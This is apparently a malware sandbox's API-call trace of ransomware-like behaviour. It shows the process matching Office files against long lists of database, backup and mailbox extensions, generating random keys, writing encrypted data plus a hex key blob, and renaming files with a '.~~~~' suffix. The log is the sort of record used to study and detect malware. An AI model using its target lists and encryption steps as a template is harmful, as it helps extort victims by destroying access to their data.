	[0135.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".OST") returned 0x0
	[0135.099] lstrlenW (lpString=".dbx") returned 4
	[0135.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".dbx") returned 0x0
	[0135.099] lstrlenW (lpString=".DB3") returned 4
	[0135.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".DB3") returned 0x0
	[0135.099] lstrlenW (lpString=".DAT") returned 4
	[0135.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".DAT") returned 0x0
	[0135.099] lstrlenW (lpString=".VHDX") returned 5
	[0135.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".VHDX") returned 0x0
	[0135.099] lstrlenW (lpString=".ndf") returned 4
	[0135.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".ndf") returned 0x0
	[0135.099] lstrlenW (lpString=".DB") returned 3
	[0135.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".DB") returned 0x0
	[0135.099] lstrlenW (lpString=".sql") returned 4
	[0135.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".sql") returned 0x0
	[0135.099] lstrlenW (lpString=".MYD") returned 4
	[0135.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".MYD") returned 0x0
	[0135.099] lstrlenW (lpString=".DBT") returned 4
	[0135.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".DBT") returned 0x0
	[0135.099] lstrlenW (lpString=".ACCDB") returned 6
	[0135.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".ACCDB") returned 0x0
	[0135.100] lstrlenW (lpString=".fdb") returned 4
	[0135.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".fdb") returned 0x0
	[0135.100] lstrlenW (lpString=".bak") returned 4
	[0135.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".bak") returned 0x0
	[0135.100] lstrlenW (lpString=".myd") returned 4
	[0135.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".myd") returned 0x0
	[0135.100] lstrlenW (lpString=".DTXS") returned 5
	[0135.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".DTXS") returned 0x0
	[0135.100] lstrlenW (lpString=".ckp") returned 4
	[0135.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".ckp") returned 0x0
	[0135.100] lstrlenW (lpString=".dbt") returned 4
	[0135.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".dbt") returned 0x0
	[0135.100] lstrlenW (lpString=".db") returned 3
	[0135.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".db") returned 0x0
	[0135.100] lstrlenW (lpString=".TXT") returned 4
	[0135.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".TXT") returned 0x0
	[0135.100] lstrlenW (lpString=".MDF") returned 4
	[0135.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".MDF") returned 0x0
	[0135.100] lstrlenW (lpString=".bdb") returned 4
	[0135.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".bdb") returned 0x0
	[0135.100] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0135.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0135.101] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0fb0) returned 1
	[0135.102] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0135.102] CryptReleaseContext (hProv=0x3a0fb0, dwFlags=0x0) returned 1
	[0135.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0135.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0135.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0135.102] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25509236197) returned 1
	[0135.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb9f763f0, dwHighDateTime=0x1d60e1e)) 
	[0135.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0135.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0135.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0135.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824f68
	[0135.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824f68 | out: hHeap=0x300000) returned 1
	[0135.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399ba8
	[0135.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4fe8
	[0135.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0135.103] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0135.103] GetLastError () returned 0x0
	[0135.104] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0135.104] GetLastError () returned 0x0
	[0135.180] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff352, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.180] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xcae, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xcae, lpOverlapped=0x0) returned 1
	[0135.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.180] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.180] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.181] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.181] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.181] CloseHandle (hObject=0x114) returned 1
	[0135.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c48c8
	[0135.181] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.~~~~")) returned 1
	[0135.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c48c8 | out: hHeap=0x300000) returned 1
	[0135.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0135.184] GetLastError () returned 0x0
	[0135.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".scr") returned 0x0
	[0135.184] lstrlenW (lpString=".cmd") returned 4
	[0135.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".cmd") returned 0x0
	[0135.184] lstrlenW (lpString=".dll") returned 4
	[0135.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".dll") returned 0x0
	[0135.184] lstrlenW (lpString=".bat") returned 4
	[0135.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".bat") returned 0x0
	[0135.184] lstrlenW (lpString=".cpl") returned 4
	[0135.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".cpl") returned 0x0
	[0135.184] lstrlenW (lpString=".sys") returned 4
	[0135.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".sys") returned 0x0
	[0135.184] lstrlenW (lpString=".msc") returned 4
	[0135.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".msc") returned 0x0
	[0135.184] lstrlenW (lpString=".com") returned 4
	[0135.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".com") returned 0x0
	[0135.184] lstrlenW (lpString=".lnk") returned 4
	[0135.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".lnk") returned 0x0
	[0135.184] lstrlenW (lpString=".msp") returned 4
	[0135.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".msp") returned 0x0
	[0135.184] lstrlenW (lpString=".pif") returned 4
	[0135.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".pif") returned 0x0
	[0135.185] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0135.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0135.187] lstrlenW (lpString=".sqb") returned 4
	[0135.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".sqb") returned 0x0
	[0135.187] lstrlenW (lpString=".ost") returned 4
	[0135.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".ost") returned 0x0
	[0135.188] lstrlenW (lpString=".txt") returned 4
	[0135.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".txt") returned 0x0
	[0135.188] lstrlenW (lpString=".mdt") returned 4
	[0135.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".mdt") returned 0x0
	[0135.188] lstrlenW (lpString=".BDB") returned 4
	[0135.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".BDB") returned 0x0
	[0135.188] lstrlenW (lpString=".eql") returned 4
	[0135.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".eql") returned 0x0
	[0135.188] lstrlenW (lpString=".DBF") returned 4
	[0135.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".DBF") returned 0x0
	[0135.188] lstrlenW (lpString=".EQL") returned 4
	[0135.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".EQL") returned 0x0
	[0135.188] lstrlenW (lpString=".FDB") returned 4
	[0135.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".FDB") returned 0x0
	[0135.188] lstrlenW (lpString=".EDB") returned 4
	[0135.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".EDB") returned 0x0
	[0135.188] lstrlenW (lpString=".DACPAC") returned 7
	[0135.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0135.188] lstrlenW (lpString=".VHD") returned 4
	[0135.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".VHD") returned 0x0
	[0135.188] lstrlenW (lpString=".DBV") returned 4
	[0135.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".DBV") returned 0x0
	[0135.188] lstrlenW (lpString=".dacpac") returned 7
	[0135.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0135.188] lstrlenW (lpString=".sdf") returned 4
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".sdf") returned 0x0
	[0135.189] lstrlenW (lpString=".accdb") returned 6
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".accdb") returned 0x0
	[0135.189] lstrlenW (lpString=".DBX") returned 4
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".DBX") returned 0x0
	[0135.189] lstrlenW (lpString=".MDT") returned 4
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".MDT") returned 0x0
	[0135.189] lstrlenW (lpString=".SQB") returned 4
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".SQB") returned 0x0
	[0135.189] lstrlenW (lpString=".vhd") returned 4
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".vhd") returned 0x0
	[0135.189] lstrlenW (lpString=".bac") returned 4
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".bac") returned 0x0
	[0135.189] lstrlenW (lpString=".mdf") returned 4
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".mdf") returned 0x0
	[0135.189] lstrlenW (lpString=".BAK") returned 4
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".BAK") returned 0x0
	[0135.189] lstrlenW (lpString=".BAC") returned 4
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".BAC") returned 0x0
	[0135.189] lstrlenW (lpString=".dbs") returned 4
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".dbs") returned 0x0
	[0135.189] lstrlenW (lpString=".vhdx") returned 5
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0135.189] lstrlenW (lpString=".NDF") returned 4
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".NDF") returned 0x0
	[0135.189] lstrlenW (lpString=".dat") returned 4
	[0135.189] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".dat") returned 0x0
	[0135.190] lstrlenW (lpString=".DBS") returned 4
	[0135.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".DBS") returned 0x0
	[0135.190] lstrlenW (lpString=".CKP") returned 4
	[0135.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".CKP") returned 0x0
	[0135.190] lstrlenW (lpString=".edb") returned 4
	[0135.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".edb") returned 0x0
	[0135.190] lstrlenW (lpString=".PST") returned 4
	[0135.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".PST") returned 0x0
	[0135.190] lstrlenW (lpString=".dbf") returned 4
	[0135.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".dbf") returned 0x0
	[0135.190] lstrlenW (lpString=".SQL") returned 4
	[0135.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".SQL") returned 0x0
	[0135.190] lstrlenW (lpString=".pst") returned 4
	[0135.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".pst") returned 0x0
	[0135.190] lstrlenW (lpString=".dbv") returned 4
	[0135.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".dbv") returned 0x0
	[0135.190] lstrlenW (lpString=".SDF") returned 4
	[0135.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".SDF") returned 0x0
	[0135.190] lstrlenW (lpString=".dtxs") returned 5
	[0135.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0135.190] lstrlenW (lpString=".db3") returned 4
	[0135.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".db3") returned 0x0
	[0135.190] lstrlenW (lpString=".OST") returned 4
	[0135.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".OST") returned 0x0
	[0135.190] lstrlenW (lpString=".dbx") returned 4
	[0135.190] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".dbx") returned 0x0
	[0135.191] lstrlenW (lpString=".DB3") returned 4
	[0135.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".DB3") returned 0x0
	[0135.191] lstrlenW (lpString=".DAT") returned 4
	[0135.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".DAT") returned 0x0
	[0135.191] lstrlenW (lpString=".VHDX") returned 5
	[0135.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0135.191] lstrlenW (lpString=".ndf") returned 4
	[0135.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".ndf") returned 0x0
	[0135.191] lstrlenW (lpString=".DB") returned 3
	[0135.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".DB") returned 0x0
	[0135.191] lstrlenW (lpString=".sql") returned 4
	[0135.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".sql") returned 0x0
	[0135.191] lstrlenW (lpString=".MYD") returned 4
	[0135.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".MYD") returned 0x0
	[0135.191] lstrlenW (lpString=".DBT") returned 4
	[0135.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".DBT") returned 0x0
	[0135.191] lstrlenW (lpString=".ACCDB") returned 6
	[0135.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0135.191] lstrlenW (lpString=".fdb") returned 4
	[0135.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".fdb") returned 0x0
	[0135.191] lstrlenW (lpString=".bak") returned 4
	[0135.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".bak") returned 0x0
	[0135.191] lstrlenW (lpString=".myd") returned 4
	[0135.191] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".myd") returned 0x0
	[0135.192] lstrlenW (lpString=".DTXS") returned 5
	[0135.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0135.192] lstrlenW (lpString=".ckp") returned 4
	[0135.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".ckp") returned 0x0
	[0135.192] lstrlenW (lpString=".dbt") returned 4
	[0135.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".dbt") returned 0x0
	[0135.192] lstrlenW (lpString=".db") returned 3
	[0135.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".db") returned 0x0
	[0135.192] lstrlenW (lpString=".TXT") returned 4
	[0135.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".TXT") returned 0x0
	[0135.192] lstrlenW (lpString=".MDF") returned 4
	[0135.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".MDF") returned 0x0
	[0135.192] lstrlenW (lpString=".bdb") returned 4
	[0135.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".bdb") returned 0x0
	[0135.192] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.192] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0135.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.192] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0730) returned 1
	[0135.193] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.193] CryptReleaseContext (hProv=0x3a0730, dwFlags=0x0) returned 1
	[0135.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0135.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0135.194] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25518390577) returned 1
	[0135.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xba05ac30, dwHighDateTime=0x1d60e1e)) 
	[0135.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0135.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0135.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0135.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825080
	[0135.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825080 | out: hHeap=0x300000) returned 1
